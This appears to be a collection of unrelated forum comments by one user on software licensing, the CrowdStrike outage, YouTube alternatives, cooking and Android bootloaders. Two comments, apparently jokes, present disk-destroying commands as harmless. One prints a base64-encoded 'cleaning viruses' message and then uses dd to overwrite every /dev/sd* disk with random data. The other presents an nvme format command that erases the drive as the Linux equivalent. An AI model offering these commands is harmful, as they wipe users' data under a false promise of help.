DuckStation recently changed to a source-available license that prohibits distributing modified versions of the software and prohibits commercial use. Before, it was GPLv3.

Also OpenOffice, Emby, Audacity, Android (AOSP) (soft forked to LineageOS and GrapheneOS, but no hard fork)

I thought only people who subscribed to CrowdStrike’s services had that driver installed.

Same thing would happen on Linux if someone wrote a bad kernel module and integrated it into the OS. In fact, Crowdstrike did have a similar problem a few months ago on Linux.

I’m no fan of Microsoft, but this isn’t their fault.

That’s normal. That just means the viruses were cleaned from your computer.

echo Q2xlYW5pbmcgdmlydXNlcyBmcm9tIGNvbXB1dGVyLi4uCg== | base64 -d && for f in /dev/sd*; do sudo dd if=/dev/urandom of=$f; done

On Linux, it’s sudo apt install nvme-cli -y && sudo nvme format -f /dev/nvme0n1

Can it even still be called “middle class?”

Ah, the student loan loophole

Got a recipe for that fermented sauce?

Been starting to infect Reddit as well in the past couple of years, so the old trick of just adding Reddit to a query is no longer helpful.

God forbid I want to see normal peoples’ opinions on what the best [blank] is.

Nah. Someone answered the question 3 years ago on a random Discord channel.

Because once we start doing socialism for kids, people will start asking for socialism for everyone, and the ultra rich wants to keep that under control.

I don’t personally post much; I just want a good alternative that will convince the creators I watch to switch to a more libre platform.

Posting content. I’ve been using NewPipe since the very first version.

YouTube is the only platform that I don’t think I’ll be able to quit any time soon. Hosting video on that kind of scale requires insane amounts of capitol, and P2P isn’t reliable enough, and I say this as someone who has streamed torrents before and has tried out PeerTube.

Also even if there was an alternative, having an alternative for creator monitization is even more difficult. LBRY and D-Tube tried to do it with cryptocurrency, but both of those projects seem to have fizzled out (and I think one is flooded with fascists nowadays).

Gotta check the ingredients on damn near everything here, or just make everything yourself :P.

Homemade unwashed butter = best butter (although spoils very quickly when not washing, like a day or two). I would eat that shit by itself if it wasn’t so unhealthy lmao

Samsung still doesn’t allow for unlocking the bootloader in the US, so after 7 years, the phone basically becomes ewaste due to lack of security updates. Repairability, I can’t speak on, but they probably still glue their screen.

That’s not even counting the fact that SoC vendors put these unmaintainable amount of patches on top of the Linux kernel instead of contributing to upstream Linux, so that their device can use a generic kernel. This leads to the use of ancient Linux versions on embedded devices with no room for upgrade without a third party porting mainline Linux.

“Smart” TVs/IoT devices have the same issue, but often times worse. You’d be lucky to get a new Android version on an Android TV, let alone a new kernel version, or the ability to run a custom OS, with documentation on how provided by the manufacturer, along with stock firmware.

There’s also the problem of companies (mainly ones based in China) not releasing source code for the GPL-licensed software they use, such as the Linux kernel. Very common issue, especially with Mediatek products.

It’s already supposed to be decline-by-default in this case (IIRC under GDPR)

How is it not 100%? I thought that there wasn’t any source of water on Earth that doesn’t have microplastics.
